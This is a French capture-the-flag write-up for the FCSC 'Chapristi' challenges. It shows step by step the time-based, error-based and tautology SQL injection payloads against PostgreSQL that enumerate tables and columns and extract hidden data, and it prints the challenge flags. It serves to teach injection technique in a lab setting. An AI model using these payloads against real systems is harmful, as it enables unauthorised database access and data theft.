Chapristi 1/2
L’objectif est d’afficher une image cachée. Mais nous ne savons pas trop où.
On remarque assez vite la présence de la faille SQL dans la barre de recherche.
Bien qu’après avoir résolu le challenge je me suis rendu compte qu’il était possible de le résoudre avec une seule injection qui est la suivante :
https://chatpristi.france-cybersecurity-challenge.fr/?search=1%27)%20or%201=1%3b--
Je souhaitais tout de même exposer mon approche qui m’a paru assez instructive et qui semble être une approche plus universelle.
Vérifier le nombre d’image dans la base de données
Je m’assure d’abord qu’il y ait bien une image non affichée présente dans la base de donnés avec une injection basée sur le temps (time based injection).
' AND ( SELECT COUNT(*) FROM memes ) = 7 OR '1'= '1' ||pg_sleep(0.2) OR '1'='
En effet la condition ( SELECT COUNT(*) FROM memes ) = 7
est vraie, alors la page retourne un résultat immédiatement, Sinon le pg_sleep aurait été exécuté et la requête aurait mise plus de temps à retourner le résultat.
Identifier l’id de l’image cachée
Avec la commande ci-dessous j’ai vérifié les identifiants de toutes les images présentes sur le site :
' AND ( SELECT COUNT(*) FROM memes where id=7 AND filename = 'a1826ad7aa90c51dfef5e2e87237748a08abaf8c5932b5d42a16b744d3d7c2f7.jpg' ) = 1 OR '1'= '1'
||pg_sleep(0.2) OR '1'='
On en déduit la liste suivante :
id = 2 : 447de8ebbe9d9bf419dab0543f42fa456e99def65bdfa2e3aeed1cf771b50589.jpg
id = 3 : 743ad5c5eb260d00cff5ba193619f714b203f91ab87017cc74b65a5b466ba79a.jpg
id = 4 : 7c2df8488bb263c868573aaf8e7d1fa0426149fb0c905ae5b71d9b0c3da37b8e.jpg
id = 5 : ec38bc3fe51533a81afba341a1bf85748a83214ca5fcb25c10d292212235b0ab
id = 6 : f7f997781b691fbaaee2d4c9778d534a3c05b0c4ecd8ea0e7c98035e738d8f68
id = 7 : a1826ad7aa90c51dfef5e2e87237748a08abaf8c5932b5d42a16b744d3d7c2f7
De la même manière, on en déduit que l’image manquante a l’id 1 et que l’id 8 n’existe pas.
' AND ( SELECT COUNT(*) FROM memes where id=8 ) = 1 OR '1'= '1' ||pg_sleep(0.2) OR '1'='
' AND ( SELECT COUNT(*) FROM memes where id=1 ) = 1 OR '1'= '1' ||pg_sleep(0.2) OR '1'='
Extraction du nom de l’image
Pour extraire le nom de l’image, j’ai utilisé une injection basée sur les erreurs (sql error base injection)
' AND 1=CAST(( SELECT filename FROM memes where id=1 ) AS INTEGER) OR '1'= '1' ||pg_sleep(0.2) OR '1'='
On a le résultat suivant :
pq: invalid input syntax for type integer: "3f5ce7b380dd03c3e71a29b2560323d058ce481fc7f3cdd505b02526af7d484e.jpg"
Capture the flag
En ouvrant l’image on obtient le flag
FCSC{1D32671928B0DFD5E0B92B57871B1D49}
Chapristi 2/2
L’objectif est de trouver un flag caché dans la base de données
Pour autant nous ne connaissons pas le schéma de la base de données. Comment trouver le nom de la table et la colonne avec le flag ?
Exfiltration des tables
On va utiliser une sql error based injection pour faire cela.
Exfiltration de la première table
' AND 1=CAST(( SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET 1 ) AS INTEGER) OR '1'='
Exfiltration de la {X}
ème table :
' AND 1=CAST(( SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET {N} ) AS INTEGER) OR '1'='
On obtient le résultat suivant :
memes
..
___youw1lln3verfindmyfl4g___
..
Exfiltration des colonnes de la table youw1lln3verfindmyfl4g
' AND 1=CAST( ( SELECT column_name FROM information_schema.columns where table_name='___youw1lln3verfindmyfl4g___' LIMIT 1 OFFSET {N} ) AS INTEGER) OR '1'='
On obtient comme colonne : fstbg0adwb8f5upmg
Capture the fag
' AND 1=CAST( ( SELECT fstbg0adwb8f5upmg FROM ___youw1lln3verfindmyfl4g___ LIMIT 1 ) AS INTEGER) OR '1'='
On obtient le flag suivant :
FCSC{edfaeb139255929e55a3cffe9f3f37cd4e871e5015c4d4ade2b02d77d44019e5}
Bon j’avoue c’est vraiment pas la manière la plus rapide, mais cela fait pratiquer un peu plus les différentes injections SQL.